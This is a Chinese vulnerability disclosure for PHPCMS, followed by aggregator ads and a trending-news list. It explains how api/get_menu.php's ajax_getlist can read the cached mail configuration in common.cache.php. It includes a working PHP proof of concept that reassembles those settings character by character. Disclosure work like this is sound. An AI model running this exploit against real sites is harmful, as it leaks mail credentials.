PHPCMS系统邮箱信息泄露
- 发布时间:2016-09-03
- 公开时间:N/A
- 漏洞类型:变量覆盖
- 危害等级:高
- 漏洞编号:xianzhi-2016-09-44039559
- 测试版本:N/A
漏洞详情
13年的时候phpcms出过一个任意文件包含漏洞 http://www.freebuf.com/articles/web/8230.html 漏洞出现在api/get_menu.php的ajax_getlist()函数中function ajax_getlist() {
$cachefile = $_GET['cachefile'];
$path = $_GET['path'];
$title = $_GET['title'];
$key = $_GET['key'];
$infos = getcache($cachefile,$path);
后来官方做了修补 对提交的path cachefile进行了过滤 无法再用../跳出cache目录
function ajax_getlist() {
$cachefile = safe_getcache($_GET['cachefile']);
$path = safe_getcache($_GET['path']);
$title = $_GET['title'];
$key = $_GET['key'];
$infos = getcache($cachefile,$path);
包含的目标限定于caches目录下的各个caches_xxxx目录
一顿乱翻找到一个好东西
caches/caches_commons/caches_data/common.cache.php 这个文件中缓存了当前系统的邮箱配置信息
用来验证注册或者找回密码
$key = $_GET['key'];
$infos = getcache($cachefile,$path);
$where_id = intval($_GET['parentid']);
$parent_menu_name = ($where_id==0) ? '' : trim($infos[$where_id][$key]);
is_array($infos)?null:$infos = array();
foreach($infos AS $k=>$v) {
if($v['parentid'] == $where_id) {
if ($v['parentid']) $parentid = $infos[$v['parentid']]['parentid'];
$s[]=iconv(CHARSET,'utf-8',$v['catid'].','.trim($v[$key]).','.$v['parentid'].','.$parent_menu_name.','.$parentid);
}
}
if(count($s)>0) {
$jsonstr = json_encode($s);
echo trim_script($_GET['callback']).'(',$jsonstr,')';
exit;
} else {
echo trim_script($_GET['callback']).'()';exit;
}
这里在info输出的时候有点坑 因为我们包含的common.cache.php与当前函数的目标文件不太一样
(common.cache.php返回的是一个一维数组,而函数设计是读取二维数组的内容)
所以需要一些特殊的方法来读取详细数据
$s[]=iconv(CHARSET,'utf-8',$v['catid'].','.trim($v[$key]).','.$v['parentid'].','.$parent_menu_name.','.$parentid);
$v在攻击的时候其实是一个字符串 而不是正常逻辑中的数组,好在$key变量可控 可以通过$v[0],$v[1],$v[2]….这样读取字符然后重组
提供poc如下
<?php
$data =array('','','','','','','','','','','','');
for($i=0;$i<30;$i++){
$uri = 'http://127.0.0.1/phpcms/api.php?op=get_menu&act=ajax_getlist&callback=aa&cachefile=common&path=commons&parentid=0&key=';
$ret = httpGet($uri.$i);
$retn =json_decode($ret,true);
foreach($retn as $key=>$value){
$tmp=explode(',',$value);
$data[$key].=$tmp[1];
}
}
var_dump($data);
function httpGet($url){
$ch = curl_init ();
curl_setopt($ch, CURLOPT_URL, $url);
//curl_setopt($ch, CURLOPT_PROXY, "http://127.0.0.1:8888");
curl_setopt($ch, CURLOPT_POST, 0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$return = curl_exec ($ch);
curl_close ($ch);
return substr($return,3,-1);
}
效果如图

关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

随时掌握互联网精彩
赞助链接
排名
热点
搜索指数
- 1 爱国主义流淌在中华民族血脉之中 7904197
- 2 莫迪:想让全世界都吃上印度食品 7809023
- 3 只剩几面烂墙的别墅拍出2683万 7712872
- 4 来自太空的端午祝福 7618777
- 5 香港影坛“第一恶人”去世 7523956
- 6 北方人不擅水战具象化了 7428156
- 7 3年亏8亿 酒店送餐机器人其实在送钱 7332859
- 8 印度首次承认有战机被击落 7237529
- 9 古天乐:狗仔都跟不到我 7136068
- 10 开播飙到8.8分 今年又一爆剧来了 7044799